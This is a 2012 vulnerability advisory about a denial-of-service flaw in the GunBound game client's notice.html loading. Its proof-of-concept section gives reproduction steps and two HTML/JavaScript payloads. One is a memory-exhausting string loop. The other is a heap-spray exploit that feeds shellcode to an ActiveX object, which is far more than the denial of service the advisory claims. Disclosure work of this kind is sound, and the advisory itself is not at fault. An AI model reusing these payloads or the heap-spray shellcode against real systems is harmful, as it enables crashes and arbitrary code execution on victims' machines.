Title:
======
GunBound - Denial of Service Vulnerability
Date:
=====
2012-07-16
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=664
VL-ID:
=====
664
Common Vulnerability Scoring System:
====================================
2
Introduction:
=============
GunBound (Korean: is a free-to-play, turn-based, room-to-room, multiplayer online game with many similar
features to the popular Worms game series. GunBound was developed and is maintained by South Korean developer Softnyx.
It is currently in its third major release, subtitled Season 2 internationally. It was called GunBound Revolution in
North America with ijji as its host before it was shut down on July 24, 2009. The first major beta release
was Thor s Hammer.
(Copy of the Website: http://en.wikipedia.org/wiki/GunBound )
Abstract:
=========
A Vulnerability Laboratory Researcher (X-Cisadane) discovered a local Denial of Service Vulnerability in the official GunBound Game.
Report-Timeline:
================
2012-07-16: Public or Non-Public Disclosure
Status:
========
Published
Exploitation-Technique:
=======================
Local
Severity:
=========
Medium
Details:
========
A denial of service vulnerability is detected in the official korean GunBound web browser game.
The vulnerability allows local attackers to inject own strings or html codes as notice.html to
slow down the application browser game via (example html loop. The denial of service vulnerability
is located WebHost element of the game software. Successful exploitation results in heavy laggs and
stable persistent software crashs.
Vulnerable Element(s):
[+] WebHost Address Element - notice.html
Proof of Concept:
=================
The vulnerability can be exploited by local attacker with privileged user or system account.
For demonstration or reproduce ...
[1] Install the newst version of GunBound from the website.
[2] Upload 1ST Script or 2ND Script into your WebHost and named with notice.html.
Note: IF you don't have WebHost, you can use Local Web Server Software such : XAMPP, WAMP, Vertrigoserv, etc.
[3] Edit GunBound Registry : HKLM\SOFTWARE\SoftNyx\GunBound.
Find Url_Notice then right click and select Modify, fill with : http://[SERVER|HOST]/notice.html OR http://127.0.0.1/notice.html
[4] Save the setting and startup the game to play a round!
[5] VOILA your machine/system crashs or laggs very heavy.
1.1
<body onload="javascript:kali_cisadane();"></body>
<script>
function kali_cisadane() {
var X = '\x42';
for (i =0;i<666;i++) {
X+=X+'\x42';
document.write(+X+X);
}
}
</script>
1.2
<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<object id=target classid="CLSID:{88d969c5-f192-11d4-a65f-0040963251e5}" >
</object>
<script>
var obj = null;
function exploit() {
obj = document.getElementById('target').object;
try {
obj.open(new Array(),new Array(),new Array(),new Array(),new Array());
} catch(e) {};
sh = unescape ("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
"%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120" +
"%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424" +
"%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304" +
"%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0" +
"%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%uF068%u048A%u685F%uFE98%u0E8A" +
"%uFF57%u63E7%u6C61%u0063");
sz = sh.length * 2;
npsz = 0x400000-(sz+0x38);
nps = unescape ("%u0D0D%u0D0D");
while (nps.length*2<npsz) nps+=nps;
ihbc = (0x12000000-0x400000)/0x400000;
mm = new Array();
for (i=0;i<ihbc;i++) mm[i] = nps+sh;
obj.open(new Object(),new Object(),new Object(),new Object(), new Object());
obj.setRequestHeader(new Object(),'......');
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
}
</script>
<body onLoad='exploit()' value='Exploit'>
</body></html>
Solution:
=========
The vulnerability can be patched by parsing the input of the WebHost element in the GunBound software.
The notice.html file execution (example|listing) should can be fixed by parsing the executable listing in the software itself.
Risk:
=====
The security risk of the local denial of service vulnerability is estimated as low(+)|medium(-).
Credits:
========
X-Cisadane
Disclaimer:
===========
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